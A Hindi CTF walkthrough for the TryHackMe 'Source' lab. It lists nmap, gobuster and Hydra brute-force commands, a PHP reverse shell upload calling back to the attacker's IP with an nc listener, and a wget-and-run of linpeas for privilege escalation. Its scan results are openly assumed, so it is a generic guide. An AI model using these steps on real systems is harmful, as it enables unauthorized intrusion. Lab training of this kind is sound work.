

TryHackMe - Source Machine में CTF फ़्लैग खोजने का पूरा स्टेप-बाय-स्टेप गाइड (हिंदी में)

इस गाइड में, हम TryHackMe की **Source** मशीन को एक्सप्लोर करके CTF फ़्लैग ढूँढने का प्रोसेस पूरा करेंगे। मैं हर स्टेप को डीटेल में समझाऊंगा कि कहाँ कौन-सी कमांड रन करनी है, क्या कॉपी-पेस्ट करना है और किन चीजों पर ध्यान देना है।

◆ स्टेप 1: मशीन को एक्सेस करना (TryHackMe VPN से कनेक्ट होना)

सबसे पहले, हमें TryHackMe के OpenVPN से कनेक्ट करना होगा ताकि हम मशीन से इंटरैक्ट कर सकें।

कमांड:

```
bash
```

```
CopyEdit
```

```
sudo openvpn your_vpn_file.ovpn
```

- **your_vpn_file.ovpn:** TryHackMe से डाउनलोड किया हुआ OpenVPN प्रोफाइल।
- इस कमांड को **अपने लोकल सिस्टम (Kali Linux या Parrot OS) के टर्मिनल में चलाना है।**
- अगर सही से कनेक्शन हो गया तो, "**Initialization Sequence Completed**" का मैसेज दिखेगा।

अब हम TryHackMe के लैब में **Source मशीन** का IP देखेंगे (मान लीजिए IP है 10.10.200.100)।

◆ स्टेप 2: टारगेट IP की स्कैनिंग (Nmap का उपयोग करके)

अब हमें यह पता लगाना है कि मशीन पर कौन-कौन से पोर्ट खुले हैं और कौन-सी सर्विसेज चल रही हैं।

कमांड:

```
bash
```

```
CopyEdit
```

```
nmap -sC -sV -A 10.10.200.100
```

👉 यह कमांड क्या करती है?

- -sC : डिफॉल्ट NSE स्क्रिप्ट्स चलाती है (जो कमजोरियां खोजने में मदद कर सकती हैं)।
- -sV : सर्विस वर्जन डिटेक्ट करता है।
- -A : ओएस डिटेक्शन, वर्जन डिटेक्शन और ट्रेसिंग करता है।

👉 हमें क्या मिलेगा?

- हमें पता चलेगा कि कौन-कौन से पोर्ट खुले हैं।
- कौन-सी सर्विसेज चल रही हैं (जैसे कि Apache, SSH, FTP, आदि)।
- कोई छिपी हुई डायरेक्टरी या कमजोरियां तो नहीं हैं।

🔗 मान लेते हैं कि स्कैन का रिजल्ट कुछ ऐसा आया:

pgsql

CopyEdit

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu

80/tcp open http Apache 2.4.29

इसका मतलब है कि:

- पोर्ट 22 (SSH) और 80 (HTTP) खुले हैं।
- वेबसाइट (Apache) रन कर रही है।

◆ स्टेप 3: वेबसाइट एनालिसिस (Gobuster से डायरेक्टरी खोजना)

अब हमें वेबसाइट को एक्सप्लोर करना है। सबसे पहले, हम ब्राउज़र में **http://10.10.200.100** खोलकर देखेंगे कि वहां कुछ खास दिखता है या नहीं।

फिर, हम छिपी हुई डायरेक्टरी ढूँढ़ेंगे:

bash

CopyEdit

gobuster dir -u http://10.10.200.100 -w /usr/share/wordlists/dirb/common.txt

👉 यह कमांड क्या करती है?

- -u : टारगेट URL (यानी वेबसाइट का एड्रेस)।
- -w : वर्डलिस्ट (जो संभावित डायरेक्टरी को स्कैन करने के लिए इस्तेमाल होती है)।

🔗 मान लीजिए, रिजल्ट कुछ ऐसा आता है:

bash

CopyEdit

/admin

/uploads

/backup

इसका मतलब है कि /admin, /uploads, और /backup जैसी डायरेक्टरी एक्सिस्ट करती हैं।

◆ स्टेप 4: एडमिन पैनल एक्सेस करने की कोशिश (Brute-Force Login)

अब हमें /admin पेज खोलकर देखना होगा कि वहां लॉगिन पेज है या नहीं।

- ब्राउज़र में **http://10.10.200.100/admin** खोलें।
- अगर लॉगिन पेज दिखता है, तो हमें यूज़रनेम-पासवर्ड ढूँढने होंगे।

अगर हमें यूज़रनेम नहीं पता तो **Hydra** का इस्तेमाल करेंगे:

bash

CopyEdit

```
hydra -L users.txt -P passwords.txt 10.10.200.100 http-post-form  
"/admin/login.php:username=^USER^&password=^PASS^:Invalid username"
```

👉 यह कमांड क्या करती है?

- -L : यूज़रनेम की वर्डलिस्ट।
- -P : पासवर्ड की वर्डलिस्ट।
- http-post-form : लॉगिन फॉर्म को ऑटोमेटिक ट्राई करता है।

अगर सही यूजरनेम-पासवर्ड मिल जाता है, तो हम /admin पैनल में लॉगिन कर सकते हैं।

◆ स्टेप 5: रिवर्स शेल अपलोड करना (Remote Shell Access)

अगर हमें /uploads डायरेक्टरी में फाइल अपलोड करने का ऑप्शन दिखता है, तो हम एक **PHP Reverse Shell** अपलोड कर सकते हैं।

सबसे पहले, Kali Linux में रिवर्स शेल क्रिएट करें:

```
bash
```

```
CopyEdit
```

```
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
```

अब इसे एडिट करें और हमारे IP और पोर्ट डालें:

```
bash
```

```
CopyEdit
```

```
nano shell.php
```

इन लाइन को एडिट करें:

```
php
```

```
CopyEdit
```

```
$ip = 'Your-VPN-IP'; // अपना IP डालें (ifconfig से पता कर सकते हैं)
```

```
$port = 4444;
```

अब इस फाइल को /uploads में अपलोड करें और लिसनर चालू करें:

```
bash
```

```
CopyEdit
```

```
nc -lvnp 4444
```

अब ब्राउज़र में **http://10.10.200.100/uploads/shell.php** खोलें और हमें बैकडोर एक्सेस मिल जाएगा! 🎉

◆ स्टेप 6: प्रिविलेज एस्केलेशन (रूट एक्सेस पाना)

अब हमें चेक करना है कि कोई कमज़ोरी तो नहीं जिससे हम **root user** बन सकें।

सबसे पहले यह कमांड चलाएं:

```
bash
```

CopyEdit

```
sudo -l
```

अगर कोई ऐसा कमांड मिला जिसे **sudo बिना पासवर्ड** के चला सकता है, तो उसे इस्तेमाल करें।

इसके अलावा, **LinPEAS** से ऑटोमेटिक चेक कर सकते हैं:

```
bash
```

CopyEdit

```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
```

```
chmod +x linpeas.sh
```

```
./linpeas.sh
```

अगर कुछ **SUID binaries** मिलती हैं, तो उनका इस्तेमाल करके root shell ले सकते हैं।

◆ स्टेप 7: CTF Flag खोजना

अब हमें /root/ या /home/ में flag.txt फाइल ढूँढनी होगी।

```
bash
```

CopyEdit

```
find / -name "flag*" 2>/dev/null
```

अगर फ़्लैग मिल जाता है, तो उसे पढ़ने के लिए:

```
bash
```

CopyEdit

```
cat /root/flag.txt
```

🎉 बधाई हो! आपने CTF फ़्लैग खोज लिया!

◆ स्टेप 8: TryHackMe पर फ़्लैग सबमिट करें

